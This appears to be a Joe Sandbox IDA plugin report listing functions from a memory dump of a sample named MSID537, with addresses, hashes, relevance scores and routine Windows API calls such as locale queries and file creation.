Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 0d0f36b410313b8e628940ed342a40bb95b13973ef016588f95f27cc457fd44f
Instruction ID: 10cb9ac1b9de00edcd92952b414081c28f32552ed8d0e309a853cc479161cee8
Opcode Fuzzy Hash: 0d0f36b410313b8e628940ed342a40bb95b13973ef016588f95f27cc457fd44f
Instruction Fuzzy Hash: 80518AB1A14255CBEB29CFA5E8D57AABBF0FB49700F1480AAD401EB251EB759A01CF50

Function 00BAFA8E Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 00BAFC23

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 69a83ceb493300dc0df803d627cba69f9330dbcf46dc4d19d079f3902dc36751
Instruction ID: 86b40c32548a9d920bccdf0df674c80b75cfd23fb7b5da1695517749ed2cc79c
Opcode Fuzzy Hash: 69a83ceb493300dc0df803d627cba69f9330dbcf46dc4d19d079f3902dc36751
Instruction Fuzzy Hash: 06E1A0706086068FCB24CFA8C5906FEB7F1FF4A314B2446ADD45A9B2A1D730ED46CB61

Function 00BC05E9 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ea8103938e85a464f2a847e9b92ffd4d66d87b137e473a5d3b3a9313f72171
Instruction ID: b455391987a3486b8ec4194bd114d025778b1ff01994e19389d7157ce095412b
Opcode Fuzzy Hash: 55ea8103938e85a464f2a847e9b92ffd4d66d87b137e473a5d3b3a9313f72171
Instruction Fuzzy Hash: 9631D776900219AFDB24EFB8CCC5EBBB7ADEB85310F14429DF91597241EA30EE408B50

Function 00BAF700 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00BAF88E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9d530ac4a100b878dbab46c3caefbc43a794537847546bc8d9912eca0d944fe2
Instruction ID: 5512316010e2b5f44f32f8cc892da1c86a35d1c891eced13c7f4a0d7edb82342
Opcode Fuzzy Hash: 9d530ac4a100b878dbab46c3caefbc43a794537847546bc8d9912eca0d944fe2
Instruction Fuzzy Hash: B8C19C70A08647CFCB25CFA8C480AFABBF1EB46314F2446B9D49697291D734ED46CB51

Function 00BC3A7A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BC3ACE

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2dace124ce0de050b1a69cf9ec0e75aae66a3bb31f7c90471a85f4fc9a82dadd
Instruction ID: 06a2185d0867c259af0ff71408fcc9a77c8a59f229319c7c5086f2f9278b5f63
Opcode Fuzzy Hash: 2dace124ce0de050b1a69cf9ec0e75aae66a3bb31f7c90471a85f4fc9a82dadd
Instruction Fuzzy Hash: 4E21B072611256ABDB18AB29CC82FBAB3E8EF44B10B5080FEF901D7141EB74DE058B50

Function 00BC3701 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

EnumSystemLocalesW.KERNEL32(00BC3827,00000001,00000000,?,-00000050,?,00BC3E58,00000000,?,?,?,00000055,?), ref: 00BC3773

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 913b609b95861174a09fe4d0a0032d8e5be6325d8bd9554ca0094e8dd384d62b
Instruction ID: 9fd0fd0f3fba874e15a28418f8c1f3ead75f8fefa1341081ea56c76064b9265b
Opcode Fuzzy Hash: 913b609b95861174a09fe4d0a0032d8e5be6325d8bd9554ca0094e8dd384d62b
Instruction Fuzzy Hash: 1F11297B2003015FDB189F39C891EBAB7E1FF84718B54846DE54687A40D771AD42C740

Function 00BC3CA9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00BC3A43,00000000,00000000,?), ref: 00BC3CD5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 7c64f4205916dfc295931d56cfe73c96ca99332eba816496a5ba7cbdfca62d87
Instruction ID: 88844ff514dab67faa8fe61342e640e9f113645809f93e40d84d222f4a960145
Opcode Fuzzy Hash: 7c64f4205916dfc295931d56cfe73c96ca99332eba816496a5ba7cbdfca62d87
Instruction Fuzzy Hash: 06F086366001156BDB2456258C46FBA77E4EB40B64F5584BDEC07A3140DA74FE42C690

Function 00BC379C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

EnumSystemLocalesW.KERNEL32(00BC3A7A,00000001,?,?,-00000050,?,00BC3E1C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00BC37E6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0fa0759f0a980f8b69727a63726339d9410a6ab13329eaa34174d5550eb91b44
Instruction ID: 4fca7402948260fc26862b53bbcfaa136acd000a5d779a336fc76c3eed47f20d
Opcode Fuzzy Hash: 0fa0759f0a980f8b69727a63726339d9410a6ab13329eaa34174d5550eb91b44
Instruction Fuzzy Hash: 98F0C2B63003046FDB14AF399881F7A7BD1FB84B68B5584ADF9458BA90D6B19D028610

Function 00BBC7A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BB72CA: EnterCriticalSection.KERNEL32(?,?,00BC163A,00000000,00BE11A8,0000000C,00BC1601,?,?,00BBC75E,?,?,00BBAFDA,00000001,00000364,?), ref: 00BB72D9

EnumSystemLocalesW.KERNEL32(00BBC795,00000001,00BE10C8,0000000C,00BBCBC4,00000000), ref: 00BBC7DA

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: c5c8a515bf6b0767b4437bec1d1c85879548b48b889a9a4fb2d2f99512d89706
Instruction ID: 4f2f44951693eeab9954663e3fa3620b9b75e5cb6228205cd7acdf2e55fb8d07
Opcode Fuzzy Hash: c5c8a515bf6b0767b4437bec1d1c85879548b48b889a9a4fb2d2f99512d89706
Instruction Fuzzy Hash: 6CF04976A04644EFD710EF98E886BAD7BF0FB49721F2041AAF4109B2A1DFB549408F40

Function 00BA71C1 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00BA4EEC,00000000,00BDB6C9,00000004,00BA3D92,00BDB6C9,00000004,00BA41A5,00000000,00000000), ref: 00BA71DA

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fb56e0d7c3aa79609d5678ecb5597e30f9f381905e2f1027db664b3700bf18fe
Instruction ID: 344b30f156491ba72539bc48e0623fefd1299a56b2d03218f1fe448f4219ef9c
Opcode Fuzzy Hash: fb56e0d7c3aa79609d5678ecb5597e30f9f381905e2f1027db664b3700bf18fe
Instruction Fuzzy Hash: 16E092722DC204B6D7169FBC9D5FFAA76E8E70670AF504181F102E50C1CEA0CE019261

Function 00BC36B6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

EnumSystemLocalesW.KERNEL32(00BC360F,00000001,?,?,?,00BC3E7A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00BC36ED

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2a72dc42a94c07763ca9d71521797d067df2dd63d548866e5de399b9b5379845
Instruction ID: 884175329ef7df95fc8537a1bf7b97eccec5f7d205a4235a77d0be32bf0b1fea
Opcode Fuzzy Hash: 2a72dc42a94c07763ca9d71521797d067df2dd63d548866e5de399b9b5379845
Instruction Fuzzy Hash: C1F0E53A30024967CB04AF39D846B6A7FD4EFC1B14B4B80ACEA05CB350C671D943C754

Function 00BBCD1F Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00BBA4B1,?,20001004,00000000,00000002,?,?,00BB9AB3), ref: 00BBCD53

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6c86cd0201efc68fd4d35cce7c177b53c73ba78db5908cb9bad5da1a1962bd0b
Instruction ID: 3673c76cc5a1dcd599a94a4621a6f0be929ba4b0fe2799d476e7ea2d592d36d2
Opcode Fuzzy Hash: 6c86cd0201efc68fd4d35cce7c177b53c73ba78db5908cb9bad5da1a1962bd0b
Instruction Fuzzy Hash: 8EE01A39500218BBCF12AF60DC04EEE7F56EF48750F044071FD05661218BB29921AAE0

Function 00BA8553 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002855F,00BA7E51), ref: 00BA8558

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c76d217f935c3b313d18c8e02861034c4f17283c48217111c6c1b3754444fbe2
Instruction ID: 1e8592b1603c3837cce9005dcd3c05ba16dfa8a8c0cd7067117ba01576a7bb3f
Opcode Fuzzy Hash: c76d217f935c3b313d18c8e02861034c4f17283c48217111c6c1b3754444fbe2
Instruction Fuzzy Hash:

Function 00BC1533 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BC1533

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e314580d7b48be1aa3ae8d01c37801808c27ec71f8b1da78a42aa0f2c5174edc
Instruction ID: 46bc57f6d1b5f233e9fe08e8de805e46a2693dee7b0ec5d99b7641bb5ebcc1ec
Opcode Fuzzy Hash: e314580d7b48be1aa3ae8d01c37801808c27ec71f8b1da78a42aa0f2c5174edc
Instruction Fuzzy Hash: 9BA011B02022008FA3808F32AA0820E3AA8AA082803088028A002CB220EE2880808F00

Function 00BB6078 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction ID: f32356bdb9714deeff00137f8217dba3dc51237be7541efe50fe4e81537856e1
Opcode Fuzzy Hash: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction Fuzzy Hash: 54328874A0020ACFCB28CF98C991AFEBBF5EF54304F2441A9DD45A7345D676AE06CB80

Function 00BBE919 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fa4ecf106edc8eae33f44fba9c66dd256363d909c79192f2f646913b265a93f
Instruction ID: a6767856a4522f027b4c6a4cb104c260f1e9056abfb0a9bd68a64cb723a52657
Opcode Fuzzy Hash: 6fa4ecf106edc8eae33f44fba9c66dd256363d909c79192f2f646913b265a93f
Instruction Fuzzy Hash: 9432E121D2AF414ED7239634CC72375A389AFB63C5F15D737E829B69AAEF69C4834100

Function 00BC2EC5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 55d49c865177faf193942fc40e713a41ac5593d4936c64863a64d15fbb291ac0
Instruction ID: 7446cae448589812dbcd1836c0402f6860bb091c819da3092c6c2f9b3f916ebb
Opcode Fuzzy Hash: 55d49c865177faf193942fc40e713a41ac5593d4936c64863a64d15fbb291ac0
Instruction Fuzzy Hash: 65B1F5755007459FCB34EB28CC92FB7B3E8EB45708F5884ADEA43C6580EA71EA85CB10

Function 00BB18EF Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction ID: befcb89276eb47e556c6a373dee1a46937b535c1847c4f0e97e5609429f86794
Opcode Fuzzy Hash: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction Fuzzy Hash: 1F516E71E00219AFDF14CF99C991AFEBBF6EF88300F598499E455AB201C774AE51CB90

Function 00BA9730 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 29922c915902938842d5ec38bf19cb27a0a9501c8608d9ef94d70eb3d9c1404c
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 9A112B7B22918243D605CE3DC8F49B6A3D5EBC7321B2C83FAD0528B758D3229D45B920

Function 00BC03E8 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: 4fb221ac50692c4a461313d8255dbeff675e7eb32357376cfbef1872dc507172
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: FFE04632921228EBCB18EB988945E8AB2FCEB48B00B1104AAB601D3211C2B0DE00C7D0

Function 00BB843F Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction ID: ed6e4a44e353e5648e0aaf3cd17a3fbeefa12630df4b366e4ebc236894583ccb
Opcode Fuzzy Hash: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction Fuzzy Hash: B5C08C34000A4187CE399A10C3B17FC33D8F3E1782F8009CCC82A0BB42C95F9C82D640

Function 00B88790 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 349filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B8880D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00B88860
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B8886F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00B8888B
